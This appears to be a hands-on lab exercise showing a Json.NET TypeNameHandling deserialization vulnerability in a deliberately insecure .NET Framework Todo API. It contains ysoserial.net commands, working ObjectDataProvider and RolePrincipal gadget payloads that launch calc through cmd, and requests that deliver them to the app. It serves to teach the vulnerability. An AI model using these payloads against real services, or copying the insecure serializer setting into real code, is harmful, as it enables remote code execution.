The Friday the 13th exploit uses the TypeNameHandling
property to manipulate native .NET Framework class to launch a malicious process on the host environment.
The exercises in this section use the src\02-Framework-JsonVulnerabilties\02-Framework-JsonVulnerabilties.sln. Please load the solution file in Visual Studio.
The Register
method in WebConfig.cs in 02-Framework-JsonVulnerabilities/Todo/App_Start sets global serialization options.
public static void Register(HttpConfiguration config)
{
// This introduces a security risk.
config.Formatters.JsonFormatter.SerializerSettings.TypeNameHandling =
Newtonsoft.Json.TypeNameHandling.All;
config.Formatters.JsonFormatter.SerializerSettings.ContractResolver =
new Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver();
Setting TypeNameHandling
to anything other than TypeNameHandling.None
exposes the vulnerability through at $type property that defines the type to deserialize. Running the SerializeFido
test in the JsonVulnerabilities.Test project demonstrates this by serializing:
Dog fido = new Dog
{
Name = "Fido",
Breed = "Golden Retriever",
Owner = "John Doe"
};
Which produces:
{
"$type": "Todo.Models.Dog, Todo.Models",
"name": "Fido",
"breed": "Golden Retriever",
"owner": "John Doe"
}
The Todo.Models.Dog
class only recognizes string values and cannot be exploited; however, other .NET Framework classes like System.Windows.Data.ObjectDataProvider
and System.Web.Security.RolePrincipal
expose a remote code execution vulnerability.
Ysoserial.net includes c
Use ysoserial.exe to create a vulnerable payload using:
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc"
Parameter | Description |
---|---|
-f Json.Net | The serializer and format |
-g ObjectDataProvider | The gadget chain (exploitable class) |
-o raw | The output format (raw|base64|raw-urlencode|base64-urlencode|hex). Default: raw |
-c “calc” | The command to be executed |
This produces:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": [ "cmd", "/ccalc" ]
},
"ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}
The ObjectDataProvider
uses System.Diagnostics.Process
to pass the command to the Start
method.
Use the JsonVulnerabilities.Test project LaunchObjectDataProviderExploit
test case to observe the exploit in isolation. Note that this does not raise an exception and that calc.exe runs.
Alternatively, generate a message to run calc.exe using the RolePrincipal
with:
ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "calc"
This generates:
{
"$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
"System.Security.ClaimsPrincipal.Identities": "AAEAAAD////...lkZXI+Cw=="
}
The message is serialization serialized to JSON and value of System.Security.ClaimsPrincipal.Identities
is base64 encoded. The RolePrincipal
uses the BinaryFormatter
to deserialize after the JSON message is deserialized. Running the LaunchRolePrincipalExploit
test case runs this exploit in isolation. Note that an exception is generated but calc.exe is still launched.
Run the solution in Debug mode.
Open the requests.http file in the Solution Items directory.
Send the requests in order with the following labels:
Label | Result |
---|---|
list all items | Returns an empty array. |
create a new task | walk dog task is added. Observe isComplete is false |
update an existing task | sets isComplete property on walk dog task to true |
send benign binary data | creates a take named walk fido and metadata that includes details about Fido |
list all items | Returns walk dog and walk fido tasks |
These requests do not result in any errors or exploits. The last request returns:
{
"$type": "System.Collections.Generic.SynchronizedCollection`1[[Todo.Models.TodoItem, Todo.Models]], System.ServiceModel",
"$values":
[
{
"$type": "Todo.Models.TodoItem, Todo.Models",
"id": 0,
"name": "walk dog",
"isComplete": true,
"metadata": null
},
{
"$type": "Todo.Models.TodoItem, Todo.Models",
"id": 1,
"name": "walk fido",
"isComplete": false,
"metadata":
{
"$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib",
"fido":
{
"$type": "Todo.Models.Dog, Todo.Models",
"name": "Fido",
"breed": "Golden Retriever",
"owner": "John Doe"
}
}
}
]
}
Send the request labeled send malicious ObjectDataProvider gadget
. Observe that this launches the Calculator app on Windows.
{
"name": "pwn with ObjectDataProvider",
"metadata" :
{
"fido":
{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":["cmd","/ccalc"]
},
"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
}
}
Send the request labeled send malicious RolePrincipal gadget
. Observe that this launches the Calculator app on Windows.
{
"name": "pwn with RolePrincipal",
"metadata" :
{
"fido":
{
"$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
"System.Security.ClaimsPrincipal.Identities": "AAEAAAD...lkZXI+Cw=="
}
}
}